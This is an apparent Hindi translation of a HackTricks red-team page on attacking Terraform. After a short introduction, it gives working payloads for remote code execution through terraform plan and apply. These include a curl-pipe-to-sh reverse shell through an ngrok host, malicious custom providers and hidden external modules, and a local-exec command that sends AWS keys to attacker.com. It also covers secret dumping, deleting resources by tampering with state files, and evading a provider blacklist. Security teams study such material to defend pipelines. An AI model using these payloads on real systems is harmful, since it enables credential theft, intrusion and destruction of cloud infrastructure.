Terraform Security

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

मौलिक जानकारी

दस्तावेज़ से:

HashiCorp Terraform एक इंफ्रास्ट्रक्चर कोड टूल है जो आपको मानव-पठनीय कॉन्फ़िगरेशन फ़ाइलों में क्लाउड और ऑन-प्रेम संसाधनों को परिभाषित करने देता है जिन्हें आप संस्करण, पुनः उपयोग और साझा कर सकते हैं। फिर आप एक संरचित वर्कफ़्लो का उपयोग कर सकते हैं जिससे आप अपने सभी इंफ्रास्ट्रक्चर को उसके जीवनकाल तक प्रदान और प्रबंधित कर सकते हैं। टेर्राफॉर्म निम्न स्तरीय घटकों जैसे कंप्यूट, स्टोरेज और नेटवर्किंग संसाधनों को प्रबंधित कर सकता है, साथ ही DNS एंट्रीज और SaaS सुविधाओं जैसे उच्च स्तरीय घटकों को भी।

टेर्राफॉर्म कैसे काम करता है?

टेर्राफॉर्म बादल मंचों और अन्य सेवाओं पर संसाधन बनाता है और प्रबंधित करता है उनके एप्लिकेशन प्रोग्रामिंग इंटरफेस (APIs) के माध्यम से। प्रदाताएँ टेर्राफॉर्म को किसी भी प्लेटफ़ॉर्म या सेवा के साथ काम करने की संभावना देती हैं जिसमें एक पहुंचने योग्य API हो।

HashiCorp और टेर्राफॉर्म समुदाय ने पहले से ही 1700 से अधिक प्रदाताओं को लिखा है जो हजारों विभिन्न प्रकार के संसाधनों और सेवाओं को प्रबंधित करने के लिए हैं, और यह संख्या बढ़ती जाती है। आप सभी सार्वजनिक उपलब्ध प्रदाताओं को टेर्राफॉर्म रजिस्ट्री पर पा सकते हैं, जिसमें अमेज़न वेब सेवाएं (AWS), एज़्यूर, गूगल क्लाउड प्लेटफ़ॉर्म (GCP), कुबरनेटीज़, हेल्म, गिटहब, स्प्लंक, डेटाडॉग, और बहुत कुछ शामिल हैं।

मूल टेर्राफॉर्म वर्कफ़्लो तीन चरणों से मिलता है:

  • लिखें: आप संसाधनों को परिभाषित करते हैं, जो कि कई क्लाउड प्रदाताओं और सेवाओं पर हो सकते हैं। उदाहरण के लिए, आप एक वर्चुअल प्राइवेट क्लाउड (VPC) नेटवर्क में एप्लिकेशन डिप्लॉय करने के लिए एक कॉन्फ़िगरेशन बना सकते हैं जिसमें सुरक्षा समूह और लोड बैलेंसर हों।

  • योजना: टेर्राफॉर्म एक निष्पादन योजना बनाता है जो आपकी वर्तमान इंफ्रास्ट्रक्चर और आपकी कॉन्फ़िगरेशन के आधार पर वह संरचना बनाएगा, अपडेट करेगा, या नष्ट करेगा।

  • लागू करें: मंजूरी पर, टेर्राफॉर्म सही क्रम में प्रस्तावित आपरेशन करेगा, किसी भी संसाधन की आवश्यकताओं का सम्मान करते हुए। उदाहरण के लिए, यदि आप एक VPC की गुणवत्ता को अपडेट करते हैं और उस VPC में वर्चुअल मशीनों की संख्या बदलते हैं, तो टेर्राफॉर्म पहले VPC को पुनः बनाएगा और फिर वर्चुअल मशीनों को स्केल करेगा।

टेर्राफॉर्म लैब

अपने कंप्यूटर में टेर्राफॉर्म स्थापित करें।

यहाँ आपके पास एक गाइड है और यहाँ आपके पास टेर्राफॉर्म डाउनलोड करने का सबसे अच्छा तरीका है।

टेर्राफॉर्म में RCE

टेर्राफॉर्म किसी भी प्लेटफ़ॉर्म को एक वेब पेज या नेटवर्क सेवा उजागर नहीं करता, इसलिए, टेर्राफॉर्म को कंप्रोमाइज करने का एकमात्र तरीका है कि आप टेर्राफॉर्म कॉन्फ़िगरेशन फ़ाइलों में जोड़ने/संशोधित करने की सक्षमता हो।

हालांकि, टेर्राफॉर्म को कंप्रोमाइज करने के लिए एक बहुत ही संवेदनशील घटक है क्योंकि यह विभिन्न स्थानों का विशेषाधिकार रखेगा ताकि यह सही ढंग से काम कर सके।

एक हमलावर के लिए मुख्य तरीका यह है कि वह उस सिस्टम को कंप्रोमाइज कर सकता है जहां टेर्राफॉर्म कूड़े जा रहे हैं क्योंकि किसी न किसी समय वे व्याख्यात होने वाले हैं।

वास्तव में, वहाँ समाधान हैं जो PR बनाने के बाद स्वचालित रूप से टेर्राफॉर्म प्लान/लागू करते हैं, जैसे कि एटलांटिस:

pageAtlantis Security

यदि आप एक टेर्राफॉर्म फ़ाइल को कंप्रोमाइज करने में सक्षम हैं तो जब कोई terraform plan या terraform apply को निष्पादित करता है तो आप विभिन्न तरीकों से RCE कर सकते हैं।

टेर्राफॉर्म प्लान

टेर्राफॉर्म प्लान टेर्राफॉर्म में सबसे अधिक उपयोग की जाने वाली कमांड है और डेवलपर/समाधान जो टेर्राफॉर्म का उपयोग करते हैं उन्हें इसे हर समय कॉल करते हैं, इसलिए RCE प्राप्त करने का सबसे आसान तरीका यह है कि आप एक टेर्राफॉर्म कॉन्फ़िगरेशन फ़ाइल को दुरुपयोग करने वाला बनाएं जो terraform plan में विचारहीन कमांड्स को निष्पादित करेगा।

एक बाह्य प्रदाता का उपयोग

टेर्राफॉर्म एक external प्रदाता प्रदान करता है जो टेर्राफॉर्म और बाह्य कार्यक्रमों के बीच इंटरफेस प्रदान करता है। आप external डेटा स्रोत का उपयोग कर सकते हैं एक plan

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

एक कस्टम प्रदाता का उपयोग

एक हमलावर एक कस्टम प्रदाता को टेर्राफॉर्म रजिस्ट्री पर भेज सकता है और फिर इसे टेर्राफॉर्म कोड में जोड़ सकता है एक फीचर ब्रांच में (यहाँ से उदाहरण):

terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}

प्रदाता init में डाउनलोड किया जाता है और जब plan कार्यान्वित होता है तो दुर्भाग्यपूर्ण कोड चलाएगा।

आप एक उदाहरण यहाँ पा सकते हैं https://github.com/rung/terraform-provider-cmdexec

एक बाहरी संदर्भ का उपयोग करना

उल्लिखित दो विकल्प उपयोगी हैं लेकिन बहुत गुप्तचर नहीं हैं (दूसरा पहले से अधिक गुप्तचर है लेकिन पहले से अधिक जटिल है)। आप इस हमला भी एक और गुप्तचर तरीके से कर सकते हैं, इन सुझावों का पालन करके:

  • टेराफ़ॉर्म फ़ाइल में रेव शैल सीधे जोड़ने की बजाय, आप एक बाहरी संसाधन लोड कर सकते हैं जिसमें रेव शैल है:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

आप https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules में rev shell कोड पा सकते हैं।

  • बाहरी संसाधन में, ref फीचर का उपयोग करें terraform rev shell कोड को छुपाने के लिए रेपो के भीतर एक शाखा में, कुछ इस प्रकार: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

Terraform Apply

Terraform apply को लागू करने के लिए निष्पादित किया जाएगा, आप इसे एरसीई प्राप्त करने के लिए भी दुरुपयोग कर सकते हैं एक दुर्भाग्यपूर्ण Terraform फ़ाइल इंजेक्ट करके local-exec** के साथ।** आपको सिर्फ यह सुनिश्चित करना होगा कि कुछ पेलोड जैसे निम्नलिखित एक में main.tf फ़ाइल में समाप्त होता है:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

अगली तकनीक से सुझावों का पालन करें और इस हमले को बाहरी संदर्भों का उपयोग करके एक गुप्त तरीके से करें।

रहस्य डंप

आप टेराफ़ॉर्म द्वारा उपयोग किए जाने वाले गुप्त मान्यताएँ डंप कर सकते हैं terraform apply चलाकर टेराफ़ॉर्म फ़ाइल में कुछ जोड़कर:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Terraform स्थिति फ़ाइलों का दुरुपयोग

यदि आपके पास टेराफ़ॉर्म स्थिति फ़ाइलों पर लेखन पहुँच है लेकिन आप टेराफ़ॉर्म कोड नहीं बदल सकते, यह शोध कुछ दिलचस्प विकल्प देता है फ़ाइल का लाभ उठाने के लिए:

संसाधनों को हटाना

संसाधनों को नष्ट करने के 2 तरीके हैं:

  1. स्थिति फ़ाइल में एक संसाधन डालें जिसका नाम यादृच्छिक हो और वास्तविक संसाधन की ओर पहुँचाए

क्योंकि टेराफ़ॉर्म देखेगा कि संसाधन मौजूद नहीं होना चाहिए, इसे नष्ट कर देगा (वास्तविक संसाधन आईडी की संकेतित की गई है)। पिछले पृष्ठ से उदाहरण:

{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
  1. संसाधन को ऐसे संशोधित करें जिसे अपडेट करना संभव नहीं हो (ताकि इसे हटाया और पुनः बनाया जाए)

एक EC2 इंस्टेंस के लिए, इंस्टेंस के प्रकार को संशोधित करना काफी है ताकि टेराफ़ॉर्म इसे हटाए और पुनः बनाए।

RCE

एक कस्टम प्रोवाइडर बनाना संभव है और टेराफ़ॉर्म स्टेट फ़ाइल में एक प्रोवाइडर को दुरुपयोगी के लिए बदलना या एक खाली संसाधन जोड़ना भी संभव है। मूल अनुसंधान से उदाहरण:

"resources": [
{
"mode": "managed",
"type": "scaffolding_example",
"name": "example",
"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
"instances": [

]
},

ब्लैकलिस्ट किए गए प्रोवाइडर को बदलें

यदि आपको hashicorp/external को ब्लैकलिस्ट किया गया है, तो आप निम्नलिखित करके external प्रोवाइडर को पुनः लागू कर सकते हैं। ध्यान दें: हम https://registry.terraform.io/providers/nazarewk/external/latest द्वारा प्रकाशित external प्रोवाइडर का एक fork का उपयोग करते हैं। आप अपना खुद का fork या पुनर्विमर्शन भी प्रकाशित कर सकते हैं।

terraform {
required_providers {
external = {
source  = "nazarewk/external"
version = "3.0.0"
}
}
}

फिर आप external का सामान्य रूप से उपयोग कर सकते हैं।

data "external" "example" {
program = ["sh", "-c", "whoami"]
}

मंजूरी उपकरण

  • tfsec: tfsec आपके टेर्राफॉर्म कोड का स्थैतिक विश्लेषण करता है ताकि संभावित गलतियों को पहचान सके।

  • terascan: Terrascan एक स्थैतिक कोड विश्लेषक है इंफ्रास्ट्रक्चर एस कोड के लिए।

संदर्भ

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated